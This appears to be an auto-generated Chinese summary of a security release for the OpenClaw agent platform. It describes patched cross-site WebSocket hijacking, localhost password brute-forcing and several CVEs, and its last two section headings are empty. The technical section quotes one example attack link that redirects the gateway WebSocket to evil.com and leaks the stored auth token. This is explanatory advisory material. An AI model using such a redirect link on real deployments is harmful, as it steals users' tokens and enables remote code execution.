OpenClaw 2026.3.11：WebSocket 安全修補

🔑 增強重點摘要

• •OpenClaw 2026.3.11 修補了 GHSA-5wcw-8jjv-m286 跨站 WebSocket 劫持漏洞，該漏洞允許任何網站透過瀏覽器 JavaScript 在 localhost 上開啟 WebSocket 連線，繞過跨來源資源共享保護，進而竊取認證令牌並實現遠端程式碼執行[1][7][8]。
• •此次安全更新解決了「ClawJacked」攻擊鏈，該攻擊利用 OpenClaw 網關對 localhost 連線缺乏速率限制的弱點，允許攻擊者以每秒數百次的速度暴力破解閘道密碼，隨後自動註冊為受信任裝置而無需使用者確認[1][7]。
• •OpenClaw 在 2026 年初經歷了多個嚴重漏洞披露週期，包括 CVE-2026-25253（認證令牌竊取導致遠端程式碼執行，CVSS 8.8）、CVE-2026-25593（作業系統命令注入）、CVE-2026-28472（裝置身份驗證繞過）和 CVE-2026-32062（未認證 WebSocket 資源耗盡，CVSS 8.7），顯示該平台在 WebSocket 安全架構中存在系統性設計缺陷[2][3][5][6][9]。
• •2026.3.11 版本新增對 OpenRouter 臨時 Hunter Alpha 和 Healer Alpha 模型的支援，並透過 Gemini 的 gemini-embedding-2-preview 實現多模態記憶索引，擴展了 AI 代理的感知和推理能力[原文]。
• •此次更新引入 Ollama 入門流程，支援本地和雲端模式，並改善了 iOS 和 macOS 使用者介面，表明 OpenClaw 正在擴展跨平台部署和易用性，同時強化安全基礎設施[原文]。

🛠️ 技術深入

• •WebSocket 安全修補機制：2026.3.11 在受信任代理模式下強制執行瀏覽器來源驗證，防止任意網站透過 JavaScript 開啟到 localhost 的 WebSocket 連線。此前的漏洞在於 WebSocket 協議不受同源政策限制，允許跨來源連線[1][8]。
• •認證令牌竊取攻擊鏈：CVE-2026-25253 利用 applySettingsFromUrl() 函數缺乏來源驗證，允許攻擊者透過惡意連結（如 http://target/chat?gatewayUrl=ws://evil.com）重定向 WebSocket 連線至攻擊者控制的端點，在握手時自動發送儲存的認證令牌[2][4]。
• •本地密碼暴力破解：ClawJacked 漏洞利用 OpenClaw 網關對 localhost 連線完全豁免速率限制的設計缺陷，允許惡意指令碼以每秒數百次的速度嘗試密碼，隨後自動註冊為受信任裝置而無需使用者互動[1][7]。
• •裝置身份驗證繞過（CVE-2026-28472）：2026.2.2 之前的版本在 WebSocket 握手時僅檢查 auth.token 的存在而非驗證其有效性，允許攻擊者在不提供裝置身份或配對的情況下連線到網關[6]。
• •多模態記憶索引：Gemini 的 gemini-embedding-2-preview 模型支援影像和音訊嵌入，使 OpenClaw 能夠建立跨模態的記憶索引，增強 AI 代理對多種輸入形式的理解和檢索能力[原文]。
• •Ollama 整合架構：新增的 Ollama 入門流程支援本地和雲端部署模式，並提供模型建議機制，簡化使用者對開源語言模型的配置和選擇[原文]。

🔮 前景展望AI analysis grounded in cited sources

⏳ 時間線